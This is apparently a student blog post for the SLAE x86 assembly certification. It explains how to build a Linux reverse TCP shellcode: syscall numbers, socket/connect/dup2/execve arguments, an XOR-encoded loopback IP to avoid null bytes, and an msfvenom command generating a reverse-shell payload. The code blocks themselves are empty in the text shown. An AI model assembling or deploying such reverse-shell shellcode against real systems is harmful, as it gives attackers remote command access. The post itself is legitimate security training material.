SLAE x86 - Assignment 0x2
Reverse TCP Shellcode
Objectives
- Create a shell reverse tcp shellcode
- Reverse connects to configured IP and port
- Execs shell on successful connection
- IP and port should be easily configurable
Structure
Using reverse shell from msfvenom, the needed syscalls can be visualize with the help of libemu's sctest
and dot tool
:
Generated using:
msfvenom --arch x86 --platform linux -p linux/x86/shell_reverse_tcp -f raw | sctest -vvv -Ss 10000 -G reverse_tcp_shellcode.dot
dot reverse_tcp_shellcode.dot -T png -o reverse_tcp_shellcode.png
Creating the NASM Code
Syscalls and other values
- Below are the needed syscalls and respective opcodes from
/usr/include/asm/unistd_32.h
SOCKET equ 0x167
CONNECT equ 0x16a
DUP equ 0x3f
EXECVE equ 0xb
- These are declared under
section .text
for better reading of the nasm code together with other constants:
; settings
PORT equ 0xd204 ; default 1234
XOR_IP equ 0xfeffff80 ; default (127.0.0.1 XORed with 0xffffffff)
; this is to avoid null in shellcode
; argument constants
AF_INET equ 0x2
SOCK_STREAM equ 0x1
Socket(2)
- This will create an endpoint for communication and returns a file descriptor that refers the endpoint. The usage are detailed in: https://man7.org/linux/man-pages/man2/socket.2.html
- Synopsis:
socket(int domain, int type, int protocol)
- Syscall arguments:
- ebx: AF_INET = 2
- ecx: SOCK_STREAM = 1
- edx: IPPROTO_IP = 6
NASM Code:
|
|
Connect(2)
- This will connects the socket referred to by the file descriptor sockfd returned from Socket(2). The usage are detailed in: https://man7.org/linux/man-pages/man2/connect.2.html
- Synopsis:
connect(int sockfd, const struct sockaddr *addr, socklen_t addrlen)
- Syscall arguments:
- ebx: sockfd = eax(returned from previous syscall)
- ecx: sockaddr = { AF_INET; PORT; IP_ADDR }
- AF_INET = 2
- PORT = 1234
- IP = 127.0.0.1
- edx: addrlen = 16
NASM Code:
|
|
Dup(2)
- This will allocate the file descriptors, virtual handles used to access certain process I/O operations and to simulate remote user’s input and display to the terminal. The usage are detailed in: https://man7.org/linux/man-pages/man2/dup.2.html
- Synopsis:
dup(int oldfd, int newfd, int flags)
- Syscall arguments:
- ebx: sockfd = same with Connect(2)
- ecx: sockaddr = stdin, stdout, and stderr
- stdin = 0x0
- stdout = 0x1
- stderr = 0x2
NASM Code:
|
|
Execve(2)
- This will execute the
/bin/sh
program on the remote machine The usage are detailed in: https://man7.org/linux/man-pages/man2/execve.2.html - Synopsis:
execve(const char *pathname, char *const argv[], char *const envp[])
- Syscall arguments:
- ebx: pathname = ‘bin//sh’ address in stack
- ecx: argv = 0x0
- ecx: envp = 0x0
NASM Code:
|
|
Final NASM Code
|
|
Dynamic Configuration
Using a simple Ruby script below, the PORT
number and IP Address
can be dynamically assigned:
|
|
Script usage and shellcode testing
This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online-courses/securitytube-linux-assembly-expert/
Student ID: SLAE - 1558